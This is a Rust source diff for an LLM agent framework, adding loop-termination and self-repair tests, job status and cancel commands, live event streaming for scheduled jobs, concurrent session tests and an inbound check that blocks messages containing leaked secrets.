||||
"Without force_text, should get tool calls"
|
||||
);
|
||||
|
||||
// With force_text: provider must return text (tools stripped).
|
||||
let mut ctx_forced = ReasoningContext::new()
|
||||
.with_messages(vec![ChatMessage::user("hello")])
|
||||
.with_tools(vec![tool_def]);
|
||||
ctx_forced.force_text = true;
|
||||
let output = reasoning.respond_with_tools(&ctx_forced).await.unwrap();
|
||||
assert!(
|
||||
matches!(output.result, RespondResult::Text(_)),
|
||||
"With force_text, should get text response, got: {:?}",
|
||||
output.result
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn iteration_bounds_guarantee_termination() {
|
||||
// Verify the arithmetic that guards against infinite loops:
|
||||
// force_text_at = max_tool_iterations
|
||||
// nudge_at = max_tool_iterations - 1
|
||||
// hard_ceiling = max_tool_iterations + 1
|
||||
for max_iter in [1_usize, 2, 5, 10, 50] {
|
||||
let force_text_at = max_iter;
|
||||
let nudge_at = max_iter.saturating_sub(1);
|
||||
let hard_ceiling = max_iter + 1;
|
||||
|
||||
// force_text_at must be reachable (> 0)
|
||||
assert!(
|
||||
force_text_at > 0,
|
||||
"force_text_at must be > 0 for max_iter={max_iter}"
|
||||
);
|
||||
|
||||
// nudge comes before or at the same time as force_text
|
||||
assert!(
|
||||
nudge_at <= force_text_at,
|
||||
"nudge_at ({nudge_at}) > force_text_at ({force_text_at})"
|
||||
);
|
||||
|
||||
// hard ceiling is strictly after force_text
|
||||
assert!(
|
||||
hard_ceiling > force_text_at,
|
||||
"hard_ceiling ({hard_ceiling}) not > force_text_at ({force_text_at})"
|
||||
);
|
||||
|
||||
// Simulate iteration: every iteration from 1..=hard_ceiling
|
||||
// At force_text_at, force_text=true (should produce text and break).
|
||||
// At hard_ceiling, the error fires (safety net).
|
||||
let mut hit_force_text = false;
|
||||
let mut hit_ceiling = false;
|
||||
for iteration in 1..=hard_ceiling {
|
||||
if iteration >= force_text_at {
|
||||
hit_force_text = true;
|
||||
}
|
||||
if iteration > max_iter + 1 {
|
||||
hit_ceiling = true;
|
||||
}
|
||||
}
|
||||
assert!(
|
||||
hit_force_text,
|
||||
"force_text never triggered for max_iter={max_iter}"
|
||||
);
|
||||
// The ceiling should only fire if force_text somehow didn't break
|
||||
assert!(
|
||||
hit_ceiling || hard_ceiling <= max_iter + 1,
|
||||
"ceiling logic inconsistent for max_iter={max_iter}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// LLM provider that always returns calls to a nonexistent tool, regardless
|
||||
/// of whether tools are available. When tools are stripped (force_text), it
|
||||
/// returns text.
|
||||
struct FailingToolCallProvider;
|
||||
|
||||
#[async_trait]
|
||||
impl LlmProvider for FailingToolCallProvider {
|
||||
fn model_name(&self) -> &str {
|
||||
"failing-tool-call"
|
||||
}
|
||||
|
||||
fn cost_per_token(&self) -> (Decimal, Decimal) {
|
||||
(Decimal::ZERO, Decimal::ZERO)
|
||||
}
|
||||
|
||||
async fn complete(
|
||||
&self,
|
||||
_request: CompletionRequest,
|
||||
) -> Result<CompletionResponse, crate::error::LlmError> {
|
||||
Ok(CompletionResponse {
|
||||
content: "forced text".to_string(),
|
||||
input_tokens: 0,
|
||||
output_tokens: 2,
|
||||
finish_reason: FinishReason::Stop,
|
||||
})
|
||||
}
|
||||
|
||||
async fn complete_with_tools(
|
||||
&self,
|
||||
request: ToolCompletionRequest,
|
||||
) -> Result<ToolCompletionResponse, crate::error::LlmError> {
|
||||
if request.tools.is_empty() {
|
||||
return Ok(ToolCompletionResponse {
|
||||
content: Some("forced text".to_string()),
|
||||
tool_calls: Vec::new(),
|
||||
input_tokens: 0,
|
||||
output_tokens: 2,
|
||||
finish_reason: FinishReason::Stop,
|
||||
});
|
||||
}
|
||||
// Always call a tool that does not exist in the registry.
|
||||
Ok(ToolCompletionResponse {
|
||||
content: None,
|
||||
tool_calls: vec![ToolCall {
|
||||
id: format!("call_{}", uuid::Uuid::new_v4()),
|
||||
name: "nonexistent_tool".to_string(),
|
||||
arguments: serde_json::json!({}),
|
||||
}],
|
||||
input_tokens: 0,
|
||||
output_tokens: 5,
|
||||
finish_reason: FinishReason::ToolUse,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Helper to build a test Agent with a custom LLM provider and
|
||||
/// `max_tool_iterations` override.
|
||||
fn make_test_agent_with_llm(llm: Arc<dyn LlmProvider>, max_tool_iterations: usize) -> Agent {
|
||||
let deps = AgentDeps {
|
||||
store: None,
|
||||
llm,
|
||||
cheap_llm: None,
|
||||
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
|
||||
max_output_length: 100_000,
|
||||
injection_check_enabled: false,
|
||||
})),
|
||||
tools: Arc::new(ToolRegistry::new()),
|
||||
workspace: None,
|
||||
extension_manager: None,
|
||||
skill_registry: None,
|
||||
skill_catalog: None,
|
||||
skills_config: SkillsConfig::default(),
|
||||
hooks: Arc::new(HookRegistry::new()),
|
||||
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
|
||||
sse_tx: None,
|
||||
};
|
||||
|
||||
Agent::new(
|
||||
AgentConfig {
|
||||
name: "test-agent".to_string(),
|
||||
max_parallel_jobs: 1,
|
||||
job_timeout: Duration::from_secs(60),
|
||||
stuck_threshold: Duration::from_secs(60),
|
||||
repair_check_interval: Duration::from_secs(30),
|
||||
max_repair_attempts: 1,
|
||||
use_planning: false,
|
||||
session_idle_timeout: Duration::from_secs(300),
|
||||
allow_local_tools: false,
|
||||
max_cost_per_day_cents: None,
|
||||
max_actions_per_hour: None,
|
||||
max_tool_iterations,
|
||||
auto_approve_tools: true,
|
||||
},
|
||||
deps,
|
||||
Arc::new(ChannelManager::new()),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
Some(Arc::new(ContextManager::new(1))),
|
||||
None,
|
||||
)
|
||||
}
|
||||
|
||||
/// Regression test for the infinite loop bug (PR #252) where `continue`
|
||||
/// skipped the index increment. When every tool call fails (e.g., tool not
|
||||
/// found), the dispatcher must still advance through all calls and
|
||||
/// eventually terminate via the force_text / max_iterations guard.
|
||||
#[tokio::test]
|
||||
async fn test_dispatcher_terminates_with_all_tool_calls_failing() {
|
||||
use crate::agent::session::Session;
|
||||
use crate::channels::IncomingMessage;
|
||||
use crate::llm::ChatMessage;
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
let agent = make_test_agent_with_llm(Arc::new(FailingToolCallProvider), 5);
|
||||
|
||||
let session = Arc::new(Mutex::new(Session::new("test-user")));
|
||||
|
||||
// Initialize a thread in the session so the loop can record tool calls.
|
||||
let thread_id = {
|
||||
let mut sess = session.lock().await;
|
||||
sess.create_thread().id
|
||||
};
|
||||
|
||||
let message = IncomingMessage::new("test", "test-user", "do something");
|
||||
let initial_messages = vec![ChatMessage::user("do something")];
|
||||
|
||||
// The dispatcher must terminate within 5 seconds. If there is an
|
||||
// infinite loop bug (e.g., index not advancing on tool failure), the
|
||||
// timeout will fire and the test will fail.
|
||||
let result = tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
|
||||
)
|
||||
.await;
|
||||
|
||||
assert!(
|
||||
result.is_ok(),
|
||||
"Dispatcher timed out -- possible infinite loop when all tool calls fail"
|
||||
);
|
||||
|
||||
// The loop should complete (either with a text response from force_text,
|
||||
// or an error from the hard ceiling). Both are acceptable termination.
|
||||
let inner = result.unwrap();
|
||||
assert!(
|
||||
inner.is_ok(),
|
||||
"Dispatcher returned an error: {:?}",
|
||||
inner.err()
|
||||
);
|
||||
}
|
||||
|
||||
/// Verify that the max_iterations guard terminates the loop even when the
|
||||
/// LLM always returns tool calls and those calls succeed.
|
||||
#[tokio::test]
|
||||
async fn test_dispatcher_terminates_with_max_iterations() {
|
||||
use crate::agent::session::Session;
|
||||
use crate::channels::IncomingMessage;
|
||||
use crate::llm::ChatMessage;
|
||||
use crate::tools::builtin::EchoTool;
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
// Use AlwaysToolCallProvider which calls "echo" on every turn.
|
||||
// Register the echo tool so the calls succeed.
|
||||
let llm: Arc<dyn LlmProvider> = Arc::new(AlwaysToolCallProvider);
|
||||
let max_iter = 3;
|
||||
let agent = {
|
||||
let deps = AgentDeps {
|
||||
store: None,
|
||||
llm,
|
||||
cheap_llm: None,
|
||||
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
|
||||
max_output_length: 100_000,
|
||||
injection_check_enabled: false,
|
||||
})),
|
||||
tools: {
|
||||
let registry = Arc::new(ToolRegistry::new());
|
||||
registry.register_sync(Arc::new(EchoTool));
|
||||
registry
|
||||
},
|
||||
workspace: None,
|
||||
extension_manager: None,
|
||||
skill_registry: None,
|
||||
skill_catalog: None,
|
||||
skills_config: SkillsConfig::default(),
|
||||
hooks: Arc::new(HookRegistry::new()),
|
||||
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
|
||||
sse_tx: None,
|
||||
};
|
||||
|
||||
Agent::new(
|
||||
AgentConfig {
|
||||
name: "test-agent".to_string(),
|
||||
max_parallel_jobs: 1,
|
||||
job_timeout: Duration::from_secs(60),
|
||||
stuck_threshold: Duration::from_secs(60),
|
||||
repair_check_interval: Duration::from_secs(30),
|
||||
max_repair_attempts: 1,
|
||||
use_planning: false,
|
||||
session_idle_timeout: Duration::from_secs(300),
|
||||
allow_local_tools: false,
|
||||
max_cost_per_day_cents: None,
|
||||
max_actions_per_hour: None,
|
||||
max_tool_iterations: max_iter,
|
||||
auto_approve_tools: true,
|
||||
},
|
||||
deps,
|
||||
Arc::new(ChannelManager::new()),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
Some(Arc::new(ContextManager::new(1))),
|
||||
None,
|
||||
)
|
||||
};
|
||||
|
||||
let session = Arc::new(Mutex::new(Session::new("test-user")));
|
||||
let thread_id = {
|
||||
let mut sess = session.lock().await;
|
||||
sess.create_thread().id
|
||||
};
|
||||
|
||||
let message = IncomingMessage::new("test", "test-user", "keep calling tools");
|
||||
let initial_messages = vec![ChatMessage::user("keep calling tools")];
|
||||
|
||||
// Even with an LLM that always wants to call tools, the dispatcher
|
||||
// must terminate within the timeout thanks to force_text at
|
||||
// max_tool_iterations.
|
||||
let result = tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
|
||||
)
|
||||
.await;
|
||||
|
||||
assert!(
|
||||
result.is_ok(),
|
||||
"Dispatcher timed out -- max_iterations guard failed to terminate the loop"
|
||||
);
|
||||
|
||||
// Should get a successful text response (force_text kicks in).
|
||||
let inner = result.unwrap();
|
||||
assert!(
|
||||
inner.is_ok(),
|
||||
"Dispatcher returned an error: {:?}",
|
||||
inner.err()
|
||||
);
|
||||
|
||||
// Verify we got a text response.
|
||||
match inner.unwrap() {
|
||||
super::AgenticLoopResult::Response(text) => {
|
||||
assert!(!text.is_empty(), "Expected non-empty forced text response");
|
||||
}
|
||||
super::AgenticLoopResult::NeedApproval { .. } => {
|
||||
panic!("Expected text response, got NeedApproval");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -294,6 +294,7 @@ impl HeartbeatRunner {
|
||||
let response = OutgoingResponse {
|
||||
content: format!("🔔 *Heartbeat Alert*\n\n{}", message),
|
||||
thread_id: None,
|
||||
attachments: Vec::new(),
|
||||
metadata: serde_json::json!({
|
||||
"source": "heartbeat",
|
||||
}),
|
||||
|
||||
@@ -600,10 +600,13 @@ async fn send_notification(
|
||||
let response = OutgoingResponse {
|
||||
content: message,
|
||||
thread_id: None,
|
||||
attachments: Vec::new(),
|
||||
metadata: serde_json::json!({
|
||||
"source": "routine",
|
||||
"routine_name": routine_name,
|
||||
"status": status.to_string(),
|
||||
"notify_user": notify.user,
|
||||
"notify_channel": notify.channel,
|
||||
}),
|
||||
};
|
||||
|
||||
|
||||
@@ -10,6 +10,7 @@ use uuid::Uuid;
|
||||
|
||||
use crate::agent::task::{Task, TaskContext, TaskOutput};
|
||||
use crate::agent::worker::{Worker, WorkerDeps};
|
||||
use crate::channels::web::types::SseEvent;
|
||||
use crate::config::AgentConfig;
|
||||
use crate::context::{ContextManager, JobContext, JobState};
|
||||
use crate::db::Database;
|
||||
@@ -28,6 +29,8 @@ pub enum WorkerMessage {
|
||||
Stop,
|
||||
/// Check health.
|
||||
Ping,
|
||||
/// Inject a follow-up user message into the worker's reasoning context.
|
||||
UserMessage(String),
|
||||
}
|
||||
|
||||
/// Status of a scheduled job.
|
||||
@@ -51,6 +54,8 @@ pub struct Scheduler {
|
||||
tools: Arc<ToolRegistry>,
|
||||
store: Option<Arc<dyn Database>>,
|
||||
hooks: Arc<HookRegistry>,
|
||||
/// SSE broadcast sender for live job event streaming.
|
||||
sse_tx: Option<tokio::sync::broadcast::Sender<SseEvent>>,
|
||||
/// Running jobs (main LLM-driven jobs).
|
||||
jobs: Arc<RwLock<HashMap<Uuid, ScheduledJob>>>,
|
||||
/// Running sub-tasks (tool executions, background tasks).
|
||||
@@ -76,11 +81,17 @@ impl Scheduler {
|
||||
tools,
|
||||
store,
|
||||
hooks,
|
||||
sse_tx: None,
|
||||
jobs: Arc::new(RwLock::new(HashMap::new())),
|
||||
subtasks: Arc::new(RwLock::new(HashMap::new())),
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the SSE broadcast sender for live job event streaming.
|
||||
pub fn set_sse_sender(&mut self, tx: tokio::sync::broadcast::Sender<SseEvent>) {
|
||||
self.sse_tx = Some(tx);
|
||||
}
|
||||
|
||||
/// Create, persist, and schedule a job in one shot.
|
||||
///
|
||||
/// This is the preferred entry point for dispatching new jobs. It:
|
||||
@@ -169,6 +180,7 @@ impl Scheduler {
|
||||
hooks: self.hooks.clone(),
|
||||
timeout: self.config.job_timeout,
|
||||
use_planning: self.config.use_planning,
|
||||
sse_tx: self.sse_tx.clone(),
|
||||
};
|
||||
let worker = Worker::new(job_id, deps);
|
||||
|
||||
@@ -500,6 +512,26 @@ impl Scheduler {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send a follow-up user message to a running job.
|
||||
///
|
||||
/// Returns `Ok(())` if the message was queued, `Err` if the job is not running.
|
||||
pub async fn send_message(&self, job_id: Uuid, content: String) -> Result<(), JobError> {
|
||||
// Clone the sender while holding the lock, then release before the
|
||||
// async send to avoid blocking scheduler writes during backpressure.
|
||||
let tx = {
|
||||
let jobs = self.jobs.read().await;
|
||||
let scheduled = jobs.get(&job_id).ok_or(JobError::NotFound { id: job_id })?;
|
||||
scheduled.tx.clone()
|
||||
};
|
||||
tx.send(WorkerMessage::UserMessage(content))
|
||||
.await
|
||||
.map_err(|_| JobError::Failed {
|
||||
id: job_id,
|
||||
reason: "Worker channel closed".to_string(),
|
||||
})?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Check if a job is running.
|
||||
pub async fn is_running(&self, job_id: Uuid) -> bool {
|
||||
self.jobs.read().await.contains_key(&job_id)
|
||||
|
||||
@@ -387,4 +387,134 @@ mod tests {
|
||||
};
|
||||
assert!(matches!(manual, RepairResult::ManualRequired { .. }));
|
||||
}
|
||||
|
||||
// === QA Plan - Self-repair stuck job tests ===
|
||||
|
||||
#[tokio::test]
|
||||
async fn detect_no_stuck_jobs_when_all_healthy() {
|
||||
let cm = Arc::new(ContextManager::new(10));
|
||||
|
||||
// Create a job and leave it Pending (not stuck).
|
||||
cm.create_job("Job 1", "desc").await.unwrap();
|
||||
|
||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
|
||||
let stuck = repair.detect_stuck_jobs().await;
|
||||
assert!(stuck.is_empty());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn detect_stuck_job_finds_stuck_state() {
|
||||
let cm = Arc::new(ContextManager::new(10));
|
||||
let job_id = cm.create_job("Stuck job", "desc").await.unwrap();
|
||||
|
||||
// Transition to InProgress, then to Stuck.
|
||||
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
|
||||
.await
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
cm.update_context(job_id, |ctx| {
|
||||
ctx.transition_to(JobState::Stuck, Some("timed out".to_string()))
|
||||
})
|
||||
.await
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
|
||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
|
||||
let stuck = repair.detect_stuck_jobs().await;
|
||||
assert_eq!(stuck.len(), 1);
|
||||
assert_eq!(stuck[0].job_id, job_id);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repair_stuck_job_succeeds_within_limit() {
|
||||
let cm = Arc::new(ContextManager::new(10));
|
||||
let job_id = cm.create_job("Repairable", "desc").await.unwrap();
|
||||
|
||||
// Move to InProgress -> Stuck.
|
||||
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
|
||||
.await
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::Stuck, None))
|
||||
.await
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
|
||||
let repair = DefaultSelfRepair::new(Arc::clone(&cm), Duration::from_secs(60), 3);
|
||||
|
||||
let stuck_job = StuckJob {
|
||||
job_id,
|
||||
last_activity: Utc::now(),
|
||||
stuck_duration: Duration::from_secs(120),
|
||||
last_error: None,
|
||||
repair_attempts: 0,
|
||||
};
|
||||
|
||||
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
|
||||
assert!(
|
||||
matches!(result, RepairResult::Success { .. }),
|
||||
"Expected Success, got: {:?}",
|
||||
result
|
||||
);
|
||||
|
||||
// Job should be back to InProgress after recovery.
|
||||
let ctx = cm.get_context(job_id).await.unwrap();
|
||||
assert_eq!(ctx.state, JobState::InProgress);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repair_stuck_job_returns_manual_when_limit_exceeded() {
|
||||
let cm = Arc::new(ContextManager::new(10));
|
||||
let job_id = cm.create_job("Unrepairable", "desc").await.unwrap();
|
||||
|
||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 2);
|
||||
|
||||
let stuck_job = StuckJob {
|
||||
job_id,
|
||||
last_activity: Utc::now(),
|
||||
stuck_duration: Duration::from_secs(300),
|
||||
last_error: Some("persistent failure".to_string()),
|
||||
repair_attempts: 2, // == max
|
||||
};
|
||||
|
||||
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
|
||||
assert!(
|
||||
matches!(result, RepairResult::ManualRequired { .. }),
|
||||
"Expected ManualRequired, got: {:?}",
|
||||
result
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn detect_broken_tools_returns_empty_without_store() {
|
||||
let cm = Arc::new(ContextManager::new(10));
|
||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
|
||||
|
||||
// No store configured, should return empty.
|
||||
let broken = repair.detect_broken_tools().await;
|
||||
assert!(broken.is_empty());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repair_broken_tool_returns_manual_without_builder() {
|
||||
let cm = Arc::new(ContextManager::new(10));
|
||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
|
||||
|
||||
let broken = BrokenTool {
|
||||
name: "test-tool".to_string(),
|
||||
failure_count: 10,
|
||||
last_error: Some("crash".to_string()),
|
||||
first_failure: Utc::now(),
|
||||
last_failure: Utc::now(),
|
||||
last_build_result: None,
|
||||
repair_attempts: 0,
|
||||
};
|
||||
|
||||
let result = repair.repair_broken_tool(&broken).await.unwrap();
|
||||
assert!(
|
||||
matches!(result, RepairResult::ManualRequired { .. }),
|
||||
"Expected ManualRequired without builder, got: {:?}",
|
||||
result
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -772,6 +772,116 @@ mod tests {
|
||||
assert_ne!(resolved, tid);
|
||||
}
|
||||
|
||||
// === QA Plan P3 - 4.2: Concurrent session stress tests ===
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_get_or_create_same_user_returns_same_session() {
|
||||
let manager = Arc::new(SessionManager::new());
|
||||
|
||||
let handles: Vec<_> = (0..30)
|
||||
.map(|_| {
|
||||
let mgr = Arc::clone(&manager);
|
||||
tokio::spawn(async move { mgr.get_or_create_session("shared-user").await })
|
||||
})
|
||||
.collect();
|
||||
|
||||
let mut sessions = Vec::new();
|
||||
for handle in handles {
|
||||
sessions.push(handle.await.expect("task should not panic"));
|
||||
}
|
||||
|
||||
// All 30 must return the *same* Arc (double-checked locking guarantee).
|
||||
for s in &sessions {
|
||||
assert!(Arc::ptr_eq(&sessions[0], s));
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_resolve_thread_distinct_users_no_cross_talk() {
|
||||
let manager = Arc::new(SessionManager::new());
|
||||
|
||||
let handles: Vec<_> = (0..20)
|
||||
.map(|i| {
|
||||
let mgr = Arc::clone(&manager);
|
||||
tokio::spawn(async move {
|
||||
let user = format!("user-{i}");
|
||||
let (session, tid) = mgr.resolve_thread(&user, "gateway", None).await;
|
||||
(user, session, tid)
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let mut results = Vec::new();
|
||||
for handle in handles {
|
||||
results.push(handle.await.expect("task should not panic"));
|
||||
}
|
||||
|
||||
// All thread IDs must be unique.
|
||||
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
|
||||
assert_eq!(tids.len(), 20);
|
||||
|
||||
// Each session should contain exactly 1 thread (its own).
|
||||
for (_, session, tid) in &results {
|
||||
let sess = session.lock().await;
|
||||
assert!(sess.threads.contains_key(tid));
|
||||
assert_eq!(sess.threads.len(), 1);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_resolve_thread_same_user_different_channels() {
|
||||
let manager = Arc::new(SessionManager::new());
|
||||
let channels = ["gateway", "telegram", "slack", "cli", "repl"];
|
||||
|
||||
let handles: Vec<_> = channels
|
||||
.iter()
|
||||
.map(|ch| {
|
||||
let mgr = Arc::clone(&manager);
|
||||
let channel = ch.to_string();
|
||||
tokio::spawn(async move {
|
||||
let (session, tid) = mgr.resolve_thread("multi-ch", &channel, None).await;
|
||||
(channel, session, tid)
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let mut results = Vec::new();
|
||||
for handle in handles {
|
||||
results.push(handle.await.expect("task should not panic"));
|
||||
}
|
||||
|
||||
// All 5 threads must be unique (different channels = different keys).
|
||||
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
|
||||
assert_eq!(tids.len(), 5);
|
||||
|
||||
// All threads should live in the same session.
|
||||
let sess = results[0].1.lock().await;
|
||||
assert_eq!(sess.threads.len(), 5);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_get_undo_manager_same_thread_returns_same_arc() {
|
||||
let manager = Arc::new(SessionManager::new());
|
||||
let (_, tid) = manager.resolve_thread("undo-user", "gateway", None).await;
|
||||
|
||||
let handles: Vec<_> = (0..20)
|
||||
.map(|_| {
|
||||
let mgr = Arc::clone(&manager);
|
||||
tokio::spawn(async move { mgr.get_undo_manager(tid).await })
|
||||
})
|
||||
.collect();
|
||||
|
||||
let mut managers = Vec::new();
|
||||
for handle in handles {
|
||||
managers.push(handle.await.expect("task should not panic"));
|
||||
}
|
||||
|
||||
// All 20 must point to the same UndoManager.
|
||||
for m in &managers {
|
||||
assert!(Arc::ptr_eq(&managers[0], m));
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_resolve_thread_finds_existing_session_thread_by_uuid() {
|
||||
use crate::agent::session::{Session, Thread};
|
||||
|
||||
@@ -107,6 +107,29 @@ impl SubmissionParser {
|
||||
return Submission::Quit;
|
||||
}
|
||||
|
||||
// Job commands
|
||||
if lower == "/status" || lower == "/progress" {
|
||||
return Submission::JobStatus { job_id: None };
|
||||
}
|
||||
if let Some(rest) = lower
|
||||
.strip_prefix("/status ")
|
||||
.or_else(|| lower.strip_prefix("/progress "))
|
||||
{
|
||||
let id = rest.trim().to_string();
|
||||
if !id.is_empty() {
|
||||
return Submission::JobStatus { job_id: Some(id) };
|
||||
}
|
||||
}
|
||||
if lower == "/list" {
|
||||
return Submission::JobStatus { job_id: None };
|
||||
}
|
||||
if let Some(rest) = lower.strip_prefix("/cancel ") {
|
||||
let id = rest.trim().to_string();
|
||||
if !id.is_empty() {
|
||||
return Submission::JobCancel { job_id: id };
|
||||
}
|
||||
}
|
||||
|
||||
// /thread <uuid> - switch thread
|
||||
if let Some(rest) = lower.strip_prefix("/thread ") {
|
||||
let rest = rest.trim();
|
||||
@@ -229,6 +252,18 @@ pub enum Submission {
|
||||
/// Suggest next steps based on the current thread.
|
||||
Suggest,
|
||||
|
||||
/// Check job status. No job_id shows all jobs; with job_id shows a specific job.
|
||||
JobStatus {
|
||||
/// Optional job ID (UUID or short prefix). If None, shows all jobs.
|
||||
job_id: Option<String>,
|
||||
},
|
||||
|
||||
/// Cancel a running job.
|
||||
JobCancel {
|
||||
/// Job ID (UUID or short prefix).
|
||||
job_id: String,
|
||||
},
|
||||
|
||||
/// Quit the agent. Bypasses thread-state checks.
|
||||
Quit,
|
||||
|
||||
@@ -313,6 +348,8 @@ impl Submission {
|
||||
| Self::Heartbeat
|
||||
| Self::Summarize
|
||||
| Self::Suggest
|
||||
| Self::JobStatus { .. }
|
||||
| Self::JobCancel { .. }
|
||||
| Self::SystemCommand { .. }
|
||||
)
|
||||
}
|
||||
@@ -740,6 +777,56 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parser_job_status() {
|
||||
// /status with no id → all jobs
|
||||
let s = SubmissionParser::parse("/status");
|
||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
||||
|
||||
// /progress alias
|
||||
let s = SubmissionParser::parse("/progress");
|
||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
||||
|
||||
// /status with id
|
||||
let s = SubmissionParser::parse("/status abc123");
|
||||
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
|
||||
|
||||
// /progress with id
|
||||
let s = SubmissionParser::parse("/progress abc123");
|
||||
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
|
||||
|
||||
// case insensitive
|
||||
let s = SubmissionParser::parse("/STATUS");
|
||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parser_job_list() {
|
||||
// /list is an alias for /status with no job_id
|
||||
let s = SubmissionParser::parse("/list");
|
||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
||||
|
||||
let s = SubmissionParser::parse("/LIST");
|
||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parser_job_cancel() {
|
||||
let s = SubmissionParser::parse("/cancel abc123");
|
||||
assert!(matches!(s, Submission::JobCancel { job_id } if job_id == "abc123"));
|
||||
|
||||
// /cancel with no id → falls through to UserInput
|
||||
let s = SubmissionParser::parse("/cancel");
|
||||
assert!(matches!(s, Submission::UserInput { .. }));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_job_commands_are_control() {
|
||||
assert!(SubmissionParser::parse("/status").is_control());
|
||||
assert!(SubmissionParser::parse("/list").is_control());
|
||||
assert!(SubmissionParser::parse("/cancel abc").is_control());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parser_quit() {
|
||||
assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit));
|
||||
|
||||
+107
-4
@@ -16,6 +16,7 @@ use crate::agent::dispatcher::{
|
||||
};
|
||||
use crate::agent::session::{PendingApproval, Session, ThreadState};
|
||||
use crate::agent::submission::SubmissionResult;
|
||||
use crate::channels::web::util::truncate_preview;
|
||||
use crate::channels::{IncomingMessage, StatusUpdate};
|
||||
use crate::context::JobContext;
|
||||
use crate::error::Error;
|
||||
@@ -69,6 +70,8 @@ impl Agent {
|
||||
.filter_map(|m| match m.role.as_str() {
|
||||
"user" => Some(ChatMessage::user(&m.content)),
|
||||
"assistant" => Some(ChatMessage::assistant(&m.content)),
|
||||
// tool_calls rows are UI metadata (tool name + preview),
|
||||
// not part of the LLM conversation context.
|
||||
_ => None,
|
||||
})
|
||||
.collect();
|
||||
@@ -173,6 +176,18 @@ impl Agent {
|
||||
return Ok(SubmissionResult::error("Input rejected by safety policy."));
|
||||
}
|
||||
|
||||
// Scan inbound messages for secrets (API keys, tokens).
|
||||
// Catching them here prevents the LLM from echoing them back, which
|
||||
// would trigger the outbound leak detector and create error loops.
|
||||
if let Some(warning) = self.safety().scan_inbound_for_secrets(content) {
|
||||
tracing::warn!(
|
||||
user = %message.user_id,
|
||||
channel = %message.channel,
|
||||
"Inbound message blocked: contains leaked secret"
|
||||
);
|
||||
return Ok(SubmissionResult::error(warning));
|
||||
}
|
||||
|
||||
// Handle explicit commands (starting with /) directly
|
||||
// Everything else goes through the normal agentic loop with tools
|
||||
let temp_message = IncomingMessage {
|
||||
@@ -315,6 +330,11 @@ impl Agent {
|
||||
};
|
||||
|
||||
thread.complete_turn(&response);
|
||||
let tool_calls = thread
|
||||
.turns
|
||||
.last()
|
||||
.map(|t| t.tool_calls.clone())
|
||||
.unwrap_or_default();
|
||||
let _ = self
|
||||
.channels
|
||||
.send_status(
|
||||
@@ -324,7 +344,9 @@ impl Agent {
|
||||
)
|
||||
.await;
|
||||
|
||||
// Persist assistant response (user message already persisted at turn start)
|
||||
// Persist tool calls then assistant response (user message already persisted at turn start)
|
||||
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
|
||||
.await;
|
||||
